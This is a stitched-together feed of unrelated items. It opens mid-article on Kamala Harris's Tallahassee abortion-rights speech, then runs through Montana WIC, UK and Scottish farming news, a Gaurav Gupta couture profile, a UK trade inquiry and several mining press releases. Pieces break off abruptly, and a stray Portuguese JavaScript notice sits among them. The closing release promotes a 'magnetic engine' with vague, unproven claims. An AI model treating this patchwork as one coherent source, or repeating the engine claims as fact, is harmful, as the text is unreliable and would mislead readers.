Harris opened her speech at about a quarter past noon in The Moon, a concert venue filled to its 1,500-person capacity, according to a Leon County sheriffs deputy, with energetic, and rowdy abortion-rights supporters responding to the crowd.

Alexis McGill Johnson is the president and CEO of Planned Parenthood Federation of America and the Planned Parenthood Action Fund. Speaking before Harris did, she said that abortion rights supporters came from across Florida, including Naples, Sarasota, Orlando, Palm Beach, Lakeland and Tampa.

You got on buses. You rode in the rain, she said.

Tallahassee is in North Florida and some consider it a Deep South state as it straddles the Georgia line.

In the venue, there was a backdrop of several U.S flags, plus Florida flags, at least three large screens and music with an upbeat tempo.

And as the crowd got louder, the group yelled out:

Hey, hey. Ho, ho. Ron DeSantis has got to go.

Numerous Democrats in the state House and Senate were at the venue, as well as prominent figures such as civil rights lawyer Ben Crump.

Battleground state

The Florida Legislature emerged as a battleground over abortion rights even before a leaked draft U.S. Supreme Court ruling in May 2022 changed the landscape.

In September 2021, House Republican lawmaker Webster Barnaby of Volusia County filed one of the most restrictive anti-abortion bans in Florida and the country. It was House Bill 167, and would have prohibited abortion care after around six weeks gestation.

That initiative landed in a subcommittee but eventually died in the 2022 legislative session. Barnaby was the lone sponsor.

The legislation would have provided financial incentives, allowing private citizens who successfully sue providers or people who otherwise help women get abortions to win judgments of $10,000 per case. Defendants would have to shoulder their own legal costs.

Not only were state Democrats determined to fight the proposal, even some GOP lawmakers were skeptics, including former Republican Senate President Wilton Simpson and state Sen. Kathleen Passidomo, who now has succeeded Simpson in running the Senate chamber. They particularly objected to the private civil enforcement.

Another attempt to restrict abortion came during the 2022 legislative session  a 15-week ban without exceptions for rape and incest. Sponsoring the legislation, HB 5, was then-House member Erin Grall, who now serves in the state Senate.

Gov. DeSantis signed the 15-week ban on April 14, 2022. Since then, the governor has been cautious about his wording about abortion restrictions.

The U.S. Supreme Court soon after that overturned the landmark Roe vs. Wade decision, establishing a privacy right to abortion, on June 24, 2022.

But abortion rights advocates and Democrats across the nation are on guard for even further restrictions to womens reproductive rights during the 2023 session.

Just last week, Republican House Speaker Paul Renner signaled that GOP members could push for restrictions, declaring during a press conference: We have a pro-life majority.

So far, lawmakers have yet to introduce abortion legislation. Renner offered no details about his plans on this score when asked it by reporters in the state Capitol last week.

Passidomo has reiterated that she would consider a 12-week abortion ban that would include exceptions for rape and incest.

This story was originally written and produced by the Florida Phoenix which is part of States Newsroom, a network of news bureaus, including the Daily Montanan, supported by grants and a coalition of donors as a 501c(3) public charity.

The post VP Harris in Florida: Can we truly be free if a woman cannot make decisions about her life? appeared first on Daily Montanan.
Department of Public Health and Human Services (DPHHS) officials are reminding Montanans the free Women, Infants, and Children (WIC) Shopper App is available to help families with their grocery shopping.

We want to ensure that WIC recipients have what they need, and the app is one of the main tools that is available to help busy families, said Kevin Moore of the Montana WIC Program. The app includes many exciting features aimed at improving the overall shopping experience and modernizes how we are delivering services.

The WIC Shopper App has various features to help participants better access their benefits and the available food items. The app allows users to:

Scan the barcode to search for WIC food list eligible items

Check benefits

Locate WIC offices

Find education about developmental milestones

Search for recipes and life hacks for nutritious eating

The WIC Shopper App has been a big help as we try to make the most of our family budget, said Sabrina Rubich, Billings resident and WIC Participant. It helps track benefits and includes great recipes. I highly recommend the app to other families receiving WIC benefits.

On average, over 6,500 families use the app every month.

DPHHS is also reminding Montanans that benefits increased in September 2022. The U.S. Department of Agriculture (USDA), which funds WIC, increased the monthly benefit to buy more fruit and vegetables.

Households will now receive $25 per month for children up to age five, $44 for those pregnant, postpartum, or partially breastfeeding, and $49 for those who are fully breastfeeding, for fruits and vegetables. On average, this amounts to a monthly benefit increase of 37% for Montana families. The last time the benefit amounts experienced this large of increase was in 2009.

WIC in Montana includes 29 local agencies and over 80 clinic sites serving all 56 counties and seven tribal reservations. In Montana, over 9,200 households are enrolled, benefiting over 14,000 women, infants, and children. However, only 55% of eligible families are signed up.

WIC eligibility requires participants to be pregnant, postpartum, breastfeeding, or fostering/legal guardians of children younger than five. Participants must also meet income requirementsmaking less than 185% of the Federal Poverty Level or qualify for Medicaid, SNAP, TANF, or free/reduced school meal programs. Specific WIC eligibility guidelines can be found on the DPHHS website.

WIC was created in 1974 to help families and young children during a critical time of growth and development. The programs benefits include providing families access to healthy food, breastfeeding education, referral to other health and social services, and much more. WIC is a voluntary program, and participation does not interfere with other programs like SNAP or Medicaid.

To learn more about WIC or find out if you are eligible, go to www.dphhs.mt.gov/ecfsd/wic/index. Families can also contact their local WIC clinic or visit www.signupwic.com [signupwic.com]. The state office may be reached at 1-800-433-4298 or emailed at montanawicprogram@mt.gov.
A classroom project which sees schoolchildren talk to a farmer by video streaming will soon commence following the success of last year.

Rural education charity the Royal Highland Education Trust (RHET) will host the 'Talk to a Farmer' week from 6 to 10 February.

The annual initiative gives Scottish schoolchildren the chance to learn more about farming, farmers and the countryside.

Following on from last years success, farmers and growers will be getting ready to go live, streaming into classrooms to answer questions from pupils.

The team will provide live sessions supporting young people to develop work skills and provide inspiration for future careers.

With their support, RHET are offering four sessions per day over the week for schools nationwide.

"We were delighted with the success of last years Talk to a Farmer week, where we had engagement of over 20,000 learners and are really looking forward to hosting it again this year," a spokesperson said.

From Blackface sheep farmer Billy in Moray, to Charlotte, a grain/farm trader with Frontier, everyday pupils will be linking in live to the farm.

Seeds and grains are the focus for the RHET 'Journey of Food' project this year and amongst other growers will be cold-pressed rapeseed oil producer Robert Mackenzie from Cullisse who will talk through the journey from plant to bottle.

He said: "When I was asked if I would get involved in the Talk to a Farmer event it really was a no brainer for me! What a great way to inspire and engage with pupils so they know the facts about their food production.

"Also, we can help them see what they are learning in class is needed on farms and its an industry with huge potential for various careers."

Carol Littlewood, RHET Angus Project Coordinator, added: "Farmers from all over the country support RHET in our work in so many different ways and this online event is just one of them.

"We are delighted to see a steady return of schools visiting our working countryside, so this online event is a brilliant shop window, a snapshot of what they could see when they are out and about."

Teachers who would like to get involved should visit RHET's website and sign up to the link on the home page.

Farmers and growers with an interest in helping are also being asked to contact the charity.
Defra's farming minister Mark Spencer is expected to set out the government's plans for the dairy sector as he attends next week's Dairy-Tech event.

The dairy event will be one of the first major agri events Mr Spencer has attended since he was appointed the ministerial role in September last year.

In his keynote address at 10:30am on 1 February, the former dairy farmer is expected to highlight the importance of the sector moving towards a more sustainable, resilient food system.

It is also hoped he will also give some insight into the governments flagship Environmental Land Management Schemes (ELMS), what it means for dairy farmers and the application process.

The sector has criticised the government for sending out mixed messages around the ELMS over the last few months.

The Royal Association of British Dairy Farmers (RABDF), which manages the event, said Mr Spencer must also understand other challenges the sector was facing, such as labour shortages and surging costs.

Input costs continue to be a primary concern for dairy producers as the sector sees the second winter of high prices.

The sharp rise in energy prices seen last autumn, combined with the ongoing war in Ukraine, has driven up ag-flation for over a year now.

But in particular, RABDF managing director Matt Knight noted that farmers were increasingly confused about government policy.

He called on Mr Spencer to outline exactly what was happening at policy level.

"Farmers [need to] make an informed choice about support payments and management decisions in the future," Mr Knight said.

At the event, there will also be the opportunity for farmers to pose questions to the Minister during the State of the Dairying Nation debate at 10:45am.

Mr Knight added: "We hope Mr Spencer will get a flavour of our hard-working and vital industry and all it offers. He must understand whats working and the challenges we are witnessing.

Dairy-Tech will take place on Wednesday 1 February at Stoneleigh Park, Warwickshire.
Nominations are being sought for what has become one of the dairy industrys most prestigious awards, the John Dennison Lifetime Achievement Award.

Harrison & Hetherington (H&H) has announced that the nominations are now open for the award, with the winner announced during Borderway UK Dairy Expo.

This years expo is on 10 and 11 March 2023, and this will be the 11th year that the John Dennison trophy has been presented to someone held in the highest esteem within the industry.

The award was established in memory of John Dennison, a highly respected Cumbrian farmer, after his death in 2012.

John was seen as a high achiever and exemplary role model within the dairy industry, who farmed at Scales Farm in Ulverston with the Denmire Holstein herd.

H&H says he was passionate about breeding and was a stellar ambassador to the younger generation.

The firm says the recipient must demonstrate the perfect combination of ability, sportsmanship, integrity, and character as the awards namesake did during his farming career.

H&H's senior pedigree dairy auctioneer, Glyn Lucas said: For ten years now, the John Dennison Lifetime Award, presented by the Dennison family, has recognised ten individuals who are held in such high regard within the industry.

"The judging panel are always full of admiration for the nominees personal achievements and support to the dairy sector and, although a challenging task.

"We look forward to choosing a worthy winner again this year.

The 2022 winner was Harry Hodgson from Wormanby Farm, Burgh by Sands, Carlisle who was presented with the award at the Borderway UK Dairy Expo.

Well known and highly respected, Harry has been a keen Holstein breeder all his life, overseeing the expansion of the Wormanby Herd, one of the top herds in the UK.

Who are the previous winners?

Other previous winners of the John Dennison Lifetime Achievement Award over the last decade are as follows:

 2021 David Yates, from Meikle Firthhead Farm, Castle Douglas

 2020 Blaise Tomlinson, owner of the pedigree Sandyford herd in Loughborough

 2019 Bill Nadin, from the Sterndale Holstein herd

 2018 Jimmy Wilson, from the Tregibby Herd in Cardigan, Wales

 2017 Mark Nutsford, from the Riverdane Herd

 2016 Alister Laird, of Blyth Bridge

 2015 Sam McCormick, owner of the Hilltara Herd

 2014 John Gribbon, noted UK and international figure in the dairy industry

 2013 Mike Miller, from Shanael Holsteins

The closing date for nominations is 10 February 2023.
British scientists have discovered new potato varieties that are resistant to crop-destroying pest potato cyst nematodes (PCN).

The findings of a farm trial investigating potato varieties resistant to PCN were revealed at the James Hutton Institute (JHI).

The Scottish government-funded project found new varieties of potato have been shown to be both highly resistant to PCN, and suitable for growth in Scotlands climate.

Although scientists are aware of varieties that do not allow PCN to multiply as they are resistant to infection, they can still cause significant yield losses as despite the resistance, the root systems can still be eaten away by the pests.

Dr Philip Burgess, lead of Scottishpotatoes.org, part of a JHI and SRUC partnership, said: "Farmers are experiencing reduced yields or are reliant on a PCN pesticide (nematicides) which may not be available in the future.

What we need are potato varieties with both resistance and high levels of tolerance to the pest, and this is what we found in the field trial.

During the trial, some potato varieties were discovered to not only stop the multiplication of PCN, but also grow well under high pest pressure, leading to a more sustainable rotation.

As well as this vital finding, the varieties are suitable for production in Scotlands climate and are consumer friendly.

Dr Burgess added: It is really pleasing to note that some of these varieties are now being stocked by major retailers and we hope others will follow suit soon.

This is a critical issue at a time when potato growers are under increasing pressure to deliver sustainable and resilient production, using fewer pesticides.

"The globally recognised Scottish seed sector is reliant upon land free from PCN. These new varieties are an important part of delivering a sustainable solution to these issues.

Our goal is to deliver potato crops with resistance and tolerance to PCN, to ensure a sustainable seed potato sector in Scotland and thereby deliver food security without damaging nature or forcing more climate change.
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Afigura-se o JavaScript esta desativado ou desligado. Por favor ative o JavaScript para visualizar este site.

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2022 was undoubtedly Gaurav Guptas year. A slew of international celebrities wore the designer on a bevy of occasions that pushed him further into the global fashion space. American rapper Meghan Thee Stallion wore a leg-baring tiered blue strapless number on the Oscars red carpet, while Cardi B chose a blush ivory skirt with a thigh-high slit and a moulded top with a fan-like structure that emerged from the back to wear in her music video

No Love

. A similar sculpted orb stood tall behind Aishwarya Rai Bachchan on the Cannes red carpet, attached to her pink floor-length embellished dress, lending it the sort of virality that landed the actress on many best-dressed lists. Despite several such collaborations with the right culturalists  as Gaurav Gupta likes to call them  that dotted his last year, for many of the brands supporters  including the one writing this story  the highlight came in the form of an announcement toward year end. It said that Gaurav Gupta was

finally

showing on the Paris Haute Couture Week calendar.

We already knew that we were gonna do the show, so we have been preparing the collection for a few months, says Gaurav Gupta, who is joining fellow Indian designer Rahul Mishra, Dutch designer Ronald van der Kemp and Lebanese designers Georges Hobeika and Zuhair Murad as a guest member invited by the Federation de la Haute Couture et de la Mode (FHCM) to show at the Paris Fashion Week on January 26. Though he doesnt go into the precise details, he gives us a peek into the arduous application and selection process. Whether a designer is accepted to showcase is a decision that ultimately rests with the committee only, he reveals. We also gleaned from our conversation that Gaurav now joins a rare group of couture designers whose application was selected at the first go. But, even if he hadnt been selected, he was prepared to show off-schedule. Thats why he has been preparing for months now. Paris was happening for Gaurav Gupta, any which way. Hes happy that it came through though. What could be higher than Paris Couture Week? he asks rhetorically. Hardly anything.

Image: Instagram

Although his decision to foray into designing haute couture is a cause for celebration, its barely surprising. If anything, it seems only natural. Even when he wasnt designing for Paris, Gaurav has always approached his brand, the one he established over 15 years ago, with a demi-couture vision. For as long as one can remember, hes experimented with the shape of the garment and how it enhances the female form. Even within the subcontinent where he has become the go-to designer for brides who want to push the boundaries with their style, Gaurav has presented them with the kind of designs that dont come naturally to bridal designers working within the traditional settings. Like the lehenga-sari hybrid outfit that he created by combining the key elements of the ubiquitous sari and lehenga; it wouldnt be an exaggeration to say that this arguably became the last time a new silhouette was added in the context of Indian fashion. In fact, sometime in August last year, he even launched The Atelier, a division under the Gaurav Gupta brand umbrella in which the team focuses on creating one-of-a-kind, bespoke couture that takes several thousand man hours to make. Pictures of his karigars dressed in white lab coats  akin to the les petites mains of traditional European ateliers working in spotless rooms filled our Instagram. It has been my dream to have an atelier where all my artisans and team feel like they are coming to a global atelier, he had said. And now, theyre piecing together a collection fit for it.

Image: Instagram

In his illustrious career, Gaurav has been inspired by everything from deep sea aquatic life to cosmic phenomena to design his clothes. So many of his creations have become important pop culture moments, too. Everyone is acquainted with Gaurav Guptas oeuvre, which forces one to wonder what his debut Paris collection  christened Shunya, directly translating to zero or, in this case, a starting point  will be like. People have seen a lot of our things on the red carpet, he admits. I want to present a poetic collection that is really representative of the DNA of the brand right now. Its almost like an introductory collection with subtle Indian elements. I am showcasing a very puristic Gaurav Gupta collection  very surreal and steeped in fantasy. Ask him how he would define his brand right now, and he gives you a handful of epithets  surreal, sculptural, fantasy, abstract, future-primitive; how you interpret them is up to you.

Gaurav Gupta seems rather composed for someone debuting at arguably the biggest fashion week in the world. Theres an unmistakable zen-like quality to his voice when he talks about Shunya. Like he knows this was a long time coming. But this kind of self-assuredness is also typical only of those who are secure in what they do. And be it Paris, Mumbai or Delhi, Gaurav Gupta takes comfort in the fact that no one can do what he does. We have discovered our own universe where we dwell, he says with the kind of candour thats come to be associated with the brave designer. We are masters of our own art and very confident of our skills. I have dreamt of this for 30 years. I knew that the brand belonged here. The good thing is that, after a long time, I am feeling a little nervous as well.

Image: Instagram

Image: Instagram



When his show takes place on January 26, 2023, Gaurav Gupta will become only the third Indian designer  after Vaishali S. and Rahul Mishra  to showcase at Paris Couture Week. Of course hes proud of his brand, but also of the fact that he gets to represent Indian fashion on a global stage. I think this is a very good time for India, he says. Theres more to us than colourful embroideries and cuts.



Also Read: Gaurav Gupta On Megan Thee Stallions Iconic Oscar Gown He Made In 5 Days




UKs International Trade Committee, a cross-party group of members of parliament (MPs), has launched a new inquiry into the export opportunities available to the countrys businesses. The committee has called for written evidence submissions that examine the current situation for exporters, the support offered by the government, and how easily exporters can access it.

Over the course of its inquiry, the committee will investigate the key barriers preventing businesses from exporting, how these can be addressed, and whether the government could provide additional support.

It will also look at how the governments support for exporters compares with other countries and explore whether free trade agreements provide new opportunities, how businesses can access them, and whether extra support or guidance is needed, UKs parliament said in a press release.

UK's International Trade Committee, a cross-party group of MPs, has launched a new inquiry into the export opportunities available to the country's businesses. The committee has called for written evidence submissions that examine the current situation for exporters, the support offered by the government, and how easily exporters can access it.

The MPs will analyse the effectiveness of the governments initiatives for supporting exporters, including the GREAT campaign, Export Academy, and Clean Growth Export Programme. They will consider the work of the governments international trade advisers, UK Export Finance, and teams based in UK embassies abroad.

The committee will also examine the extent to which the UKs pavilions at world expos help to provide export opportunities.

After accepting written evidence, the committee is expected to hold oral evidence sessions on the topic, before producing a report.

Angus Brendan MacNeil, MP, chair of the International Trade Committee, said: Businesses up and down the UK are desperate to sell their wares overseas, but many report overly bureaucratic processes at a time when even the slightest increase in costs or delays can cause serious difficulties.

Thats why were launching an investigation into the current situation for exporters, the support offered by the government, how easily exporters can access it, and whether the UK can learn anything from our international peers. We would encourage those with knowledge of this important area to submit evidence to our inquiry.

Fibre2Fashion News Desk (DP)
PHOENIX, Jan. 21, 2023 (GLOBE NEWSWIRE) -- American Rare Earths (ASX:ARR | OTCQB:ARRNF | FSE:1BHA) is pleased to announce it has completed its 38-hole, drilling program at its Halleck Creek rare earths project in Albany County, Wyoming, USA.



Highlights

5726 metres drilled

Geological data continues to show enriched rare earth mineralisation from surface to depth of drilling at 150m

3,817 samples collected and shipped to ALS laboratories for analysis

Significant upside expected with consistent mineralization observed to 150m, a 33.33% increase beyond the current exploration target

Deposit continues east into neighbouring Bluegrass prospect



The drilling confirms the Rare Earth Elements (REE) containing geological structure is significantly larger than previously thought. Geological data shows significant consistent REE mineralization across the observed samples, with the massive deposit remaining open at depth and likely continuing east into the company's adjoining Bluegrass prospect.

Managing Director and Chief Executive Officer Chris Gibbs said, "We have a major deposit here, the size scale and consistency of the resource we are observing is similar to large-scale, long-life copper/gold porphyry mines which are common throughout the United States.

The exploration target of over a billion tonnes is now being authenticated based on this drilling program. The drill results together with the positive metallurgical studies amplify the significant value of Halleck Creek's potential as a key domestic US rare earth supplier."

Next Steps

The Company is awaiting assay results to finalize a maiden JORC resource estimate, which it plans on releasing in Q1 2023.

This market announcement has been authorized for release to the market by the Board of American Rare Earths Limited.

Mr. Chris Gibbs

CEO & Managing Director

Competent Persons Statement:

The information in this document is based on company announcements made on August 4, 2022, September 1, 2022, October 5. 2022, November 3 2022, and November 24 2022. These announcements were reviewed and approved for release by Mr. Dwight Kinnes (Society of Mining Engineers #4063295RM) is employed by American Rare Earths and has sufficient experience which is relevant to the style of mineralization and type of deposit under consideration and to the activity which he is undertaking to qualify as a Competent Person as defined in the 2012 JORC Code. Mr. Kinnes consents to the inclusion in the report of the matters based upon the information in the form and context in which it appears.

Forward-Looking Statements

This press release contains "forward-looking statements" within the meaning of the Private Securities Litigation Reform Act of 1995. Forward-looking statements involve known and unknown risks, uncertainties, and other important factors that could cause the Company's actual results, performance, or achievements or industry results to differ materially from any future results, performance, or achievements expressed or implied by these forward-looking statements. These statements are subject to a number of risks and uncertainties, many of which are beyond American Rare Earths Limited's control.

Concurrently, this press release contains forward-looking statements within the meaning of the U.S. Securities Act of 1933, as amended, and U.S. Securities Exchange Act of 1934, as amended, including, but not limited to, statements regarding the potential development, economic feasibility, resource, grade and other mineralization characteristics, and drilling and exploration methods that may be utilized in potential exploration of the Company's projects. When used in this press release, the words "potential," "plans," "indicate," "expect," "intend," "hopes," "believe," "may," "will," "if," "possible," "anticipate" and similar expressions are intended to identify forward-looking statements. Although, not all forward-looking statements contain such identifying words. These statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance, or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied by such statements. Such factors include, among others, uncertainty of mineralized material and mineral resource estimates, risks to projected and estimated economics not reflecting actual economic results due to the uncertainty of mining processes, potential non-uniform sections of mineralized material, potential mining hazards and accidents, changes in equipment and labor costs, changes in projected mineral prices and demand, competition in the mining industry, risks related to project development determinations, the inherently hazardous nature of mining-related activities, potential effects on the Company's operations of environmental regulations, risks due to legal proceedings, liquidity risks and risks related to uncertainty of being able to raise capital on favorable terms or at all, as well as those factors discussed in filings with the Australian Securities Exchange. Any forward-looking statements included in this press release are made only as of the date of this release. Except as required by law, the Company assumes no obligation to publicly update any forward-looking statements. The Company cannot assure you that the projected results or events will be achieved.

Cautionary Note to US Investors

The United States Securities and Exchange Commission ("SEC") limits disclosure for U.S. reporting purposes to mineral deposits that a company can economically and legally extract or produce and that are compliant with SEC Industry Guide 7. Investors are cautioned, that where a Resource has not been specifically published, not to assume that any part or all of the proposed projects contains any mineral deposits that will ever be converted into resources or that any inferred mineral resource or measured and indicated resources exists or is economically or legally mineable. The proposed projects do not contain any known proven or probable ore reserves or mineral resource compliant with SEC Industry Guide 7 reporting standards. Investors are urged to consider closely the disclosures set forth in the Company's latest reports filed with the ASX.

About American Rare Earths:

American Rare Earths Limited (ASX: ARR, OTCQB: ARRNF, FSE: 1BHA) is an Australian company listed on the ASX and cross listed in the US and Germany with assets in the growing rare earth metals sector of the United States of America, emerging as an alternative international supply chain to China's market dominance of a global rare earth market expected to expand to US$20 billion by the mid-2020s. The Company's mission is to supply Critical Materials for Renewable Energy, Green Tech, Electric Vehicles, National Security, and a Carbon-Reduced Future.

One of the only ASX listed companies with exposure to the rapidly expanding US market, American Rare Earths is developing its 100% owned magnet metals projects, La Paz in Arizona, and Halleck Creek in Wyoming. Both have potential to be among the largest, rare earths deposits in North America. The company is concurrently evaluating other exploration opportunities while collaborating with US Government supported R&D to develop a sustainable domestic supply chain for the renewable future.

Media Contact:

Susan Assadi

347 977 7125

A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/fde97abe-9b53-4946-8b06-e361fb07a2c4

Red Mountain Drill Holes

Drilling shows mineralization to depths 33.33% more than exploration target
Toronto, Ontario--(Newsfile Corp. - January 23, 2023) - American Eagle Gold Corp. (TSXV: AE) ("American Eagle" or the "Company") announces that it has closed its previously announced non-brokered private placement (the "Offering") of an aggregate 10,000,000 units of the Corporation (the "Units") at a price of C$0.20 per Unit for aggregate gross proceeds of approximately C$2,000,000. The Corporation intends to use the net proceeds from the Offering to continue advancing the exploration of the NAK Project ("NAK") and for general corporate purposes.

Each Unit comprises one common share in the capital of the Company (each a "Common Share") and one-half of one common share purchase warrant of the Corporation (each whole warrant, a "Warrant"). Each Warrant entitles the holder thereof to purchase one Common Share of the Company at an exercise price of C$0.30 at any time on or before January 23, 2025. The Offering is subject to final acceptance of the TSX Venture Exchange. Accordingly, the Warrants will not be listed on any exchange.

In connection with the Offering, the Company incurred cash finder's fees to several finders in the total amount of $42,900. The Company also issued to the finders a total of 402,450 common share purchase warrants of the Company (the "Finder Warrants"). Each Finder Warrant entitles the holder to purchase one Common Share of the Company at an exercise price of $0.20 at any time on or before January 23, 2025. In lieu of a cash finder's fee and Finder Warrants, the Company issued a total of 187,950 Units to Research Capital Corp. ("RCC") as satisfaction of the finder's fees owed to RCC under the Offering. Each Unit granted to RCC have the same terms and rights as those Units issued in the Offering.

The securities described herein have not been, and will not be, registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act") or any U.S. state securities laws, and may not be offered or sold in the United States or to, or for the account or benefit of, United States persons absent registration or an applicable exemption from the registration requirements of the U.S. Securities Act and applicable U.S. state securities laws. This press release does not constitute an offer to sell or the solicitation of an offer to buy securities in the United States, nor in any other jurisdiction.

MI 61-101 and TSXV Policy 5.9 Disclosure

Of the 10,000,000 Units issued pursuant to the Offering, 50,000 Units were issued directly or indirectly to Anthony Moreau, a director of American Eagle.

American Eagle relied on section 5.5(b) of Multilateral Instrument 61-101 - Protection of Minority Security Holders in Special Transactions ("MI 61- 101") as the exemption from the formal valuation requirements of MI 61-101 and TSX Venture Exchange Policy 5.9 in respect of the issuance of the Units to the director of American Eagle as the Common Shares of American Eagle are not listed on a specified market (and the Common Shares are only listed on the TSX Venture Exchange). The Corporation relied on section 5.7(1)(b) of MI 61-101 as the exemption from the minority approval requirements of MI 61-101 and TSX Venture Exchange Policy 5.9 in respect of the issuance of Common Shares to the director of the Corporation as American Eagle is not listed on a specified stock exchange and, at the time the Offering was agreed to, neither the fair market value of the securities to be distributed pursuant to the Offering to such persons, nor the consideration to be received for those securities, will exceed $2,500,000.

No special committee was established in connection with the Offering . The Board of Directors of American Eagle has unanimously approved the Offering and no materially contrary view or abstention was expressed or made by any director in relation to the Offering. The material change report to be filed in relation to the closing of the Offering will not be filed at least 21 days prior to the completion of the Offering as contemplated by MI 61-101. American Eagle believes that this shorter period is reasonable and necessary in the circumstances as the completion of the Offering occurred shortly before the issuance of such material change report in relation to the Offering.

For the latest videos from American Eagle, Ore Group, and all things mining, subscribe to our YouTube Chanel: youtube.com/@theoregroup

About American Eagle's NAK Project

NAK is a classic porphyry copper-gold mineralized target that exhibits many signs of a robust and large-scale system. Historical shallow drilling programs defined a near-surface copper-gold system with a footprint greater than 1.5km x 1.5km. It remains open and largely untested at depth.

The NAK property is road accessible, and many target areas coincide with forest industry clear cuts. Drilling can be completed year-round, and no helicopter support is required. The NAK property is 85 kilometres from Smithers, BC, in the Babine copper-gold porphyry district of west-central British Columbia. It lies close to nearby Babine district past-producing mines (Bell, Granisle), in proximity to excellent infrastructure. NAK's highly encouraging initial results make it a prime candidate for further exploration. The Company's main objective is to advance this newly revitalized mineralizing system into a major discovery.

About American Eagle Gold Corp.

American Eagle trades under the symbol AE on the TSX Venture Exchange. The Company is focused on exploring its NAK project in the Babine Copper-Gold Porphyry district of west-central British Columbia.

Anthony Moreau, Chief Executive Officer

Phone: 416.644.1567

Email: amoreau@oregroup.ca

www.americaneaglegold.ca

Forward-Looking Statements

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the TSX Venture Exchange policies) accept responsibility for the adequacy or accuracy of this release. Certain information in this press release may contain forward-looking statements. Forward-looking statements in this press release include, but are not limited to, statements regarding whether the Company will be able to exercise its option to acquire the Project as anticipated and whether the Company's exploration efforts on the Project produce the results that are anticipated by management. This information is based on current expectations that are subject to significant risks and uncertainties that are difficult to predict. Therefore, actual results might differ materially from those suggested in forward-looking statements. American Eagle Gold Corp. assumes no obligation to update the forward-looking statements or to update the reasons why actual results could differ from those reflected in the forward looking-statements unless and until required by securities laws applicable to American Eagle Gold Corp. Additional information identifying risks and uncertainties is contained in filings by American Eagle Gold Corp. with Canadian securities regulators, which filings are available under American Eagle Gold Corp. profile at www.sedar.com.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152232
Toronto, Ontario--(Newsfile Corp. - January 23, 2023) - Pasofino Gold Limited (TSXV: VEIN) (OTCQB: EFRGF) (FSE: N07A) ("Pasofino" or the "Company") is pleased to announce that further to its news release dated November 21, 2022, the Company has completed the issuance of 122,989 common shares of the Company (the "Debt Shares") at a price of $0.50 per share in settlement (the "Debt Settlement") of $61,494.81 of directors' fees owing to independent and non-executive directors (collectively, the "Debt").

The TSX Venture Exchange has approved the Debt Settlement and by issuing the Debt Shares, the Debt has been extinguished.

The issuance of the Debt Shares to the directors constitutes a "related party transaction" as this term is defined in Multilateral Instrument 61-101: Protection of Minority Securityholders in Special Transactions ("MI 61-101"). The Company is relying on the exemptions from the valuation and minority shareholder approval requirements of MI 61-101 contained in sections 5.5(a) and 5.7(1)(a) of MI 61-101 as neither the fair market value of the Debt Shares nor the debt exceeds 25% of the Company's market capitalization.

All Debt Shares issued are subject to a statutory four (4) month hold period from the date of the issuance.

This press release shall not constitute an offer to sell or the solicitation of an offer to buy nor shall there be any sale of the securities in any state in which such offer, solicitation or sale would be unlawful. The securities being offered have not been, nor will they be, registered under the United States Securities Act of 1933, as amended (the "1933 Act") and may not be offered or sold in the United States absent registration or an applicable exemption from the registration requirements of the 1933 Act, as amended, and application state securities laws.

About Pasofino Gold Ltd.

Pasofino Gold Ltd. is a Canadian-based mineral exploration company listed on the TSX Venture Exchange (VEIN).

Pasofino, through its wholly-owned subsidiary, owns a 49% economic interest (prior to the issuance of the Government of Liberia's 10% carried interest) in the Dugbe Gold Project (the "Project").

Pasofino has exercised its option to consolidate ownership in the Dugbe Gold Project by converting Hummingbird Resources Plc's 51% ownership of the Project for a 51% shareholding in Pasofino, such that Pasofino would own 100% of the Project (prior to the government of Liberia's 10% carried interest), subject to the receipt of all required approvals including the TSX Venture Exchange.

For further information, please visit www.pasofinogold.com or contact:

Lincoln Greenidge, CFO

T: 416 451 0049

E: lgreenidge@pasofinogold.com

CAUTIONARY STATEMENTS REGARDING FORWARD-LOOKING STATEMENTS

This news release contains "forward-looking statements" that are based on expectations, estimates, projections and interpretations as at the date of this news release. Forward-looking statements are frequently characterised by words such as "plan", "expect", "project", "seek", "intend", "believe", "anticipate", "estimate", "suggest", "indicate" and other similar words or statements that certain events or conditions "may" or "will" occur. Such forward-looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Such risks and other factors may include, but are not limited to those risk factors outlined in the Company's filings on SEDAR. The Company does not undertake to update any forward-looking information except in accordance with applicable securities laws.

NOT FOR DISTRIBUTION TO U.S. NEWS WIRE SERVICES OR FOR DISSEMINATION IN THE UNITED STATES

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152228
ARUNDEL QUEENSLAND, AUSTRALIA / ACCESSWIRE / January 23, 2023 / China Dasheng Biotechnology Co. (OTC PINK:CDBT) to be renamed Cycclone Magnetic Engine Developments, Inc., has leased 2 industrial properties in Bangalow, New South Wales, Australia, and established component development operations. Bangalow was chosen due to several of our experienced skilled staff living in the area.

Work has now commenced on a range of new components for the latest engine, the Cycclone Y9MX to be showcased in the coming months. The Bangalow facilities allow for the components to be hand made and then passed to our CNC production facility in Molendinar, Queensland for short run production.

The Cycclone Y9MX slated for immediate build is a Y opposing piston, divaricate cylinder, staggered crank with adjustable stroke connecting rods. The Cycclone Y9MX.

The Cycclone Y9MX is being fitted with 18 permanent magnets with a pull strength of 1000kg (1 ton) each in a 9-cylinder block configuration. One of the key changes with this engine is the inclusion of utilizing surface area response in direct correlation to magnetic air gaps. Our research to date has given us data of areas that can bring novel invention capture capabilities.

The Cycclone Y9MX is being constructed with materials identified over the past range of engines. Materials include silicon nitrate bearings, brass flanks, developed synthetic and semi synthetic polymers, aerospace aluminum and stainless steel amongst other products.

This latest move also triggers the long-awaited filing of patents. It has been untenable to file patents in the past for several reasons, however the path forward dictates the need to capture the novel inventions around work to date in Cycclone Magnetic Engines in unproven technologies. Two patent attorney firms have been briefed and will be formally engaged by months end.

Work is ongoing to close the merger, which is a merger with a custodian rescue company, and this ongoing work includes preparing CDBT for return to a full reporting audited filer. Suitable advisors and professional engagements are being assessed and formal engagements are being enacted during the transition.

/S/ Micheal Nugent

CEO of CDBT

CDBT. Cycclone Magnetic Engine Developments, Inc.

On September 30, 2022, CDBT and Cycclone Magnetic Engine Developments Limited entered into an Operating Agreement for The Amended Share Exchange Agreement giving effective control of Cycclone Magnetic Engine Developments Limited and the wholly owned subsidiaries.

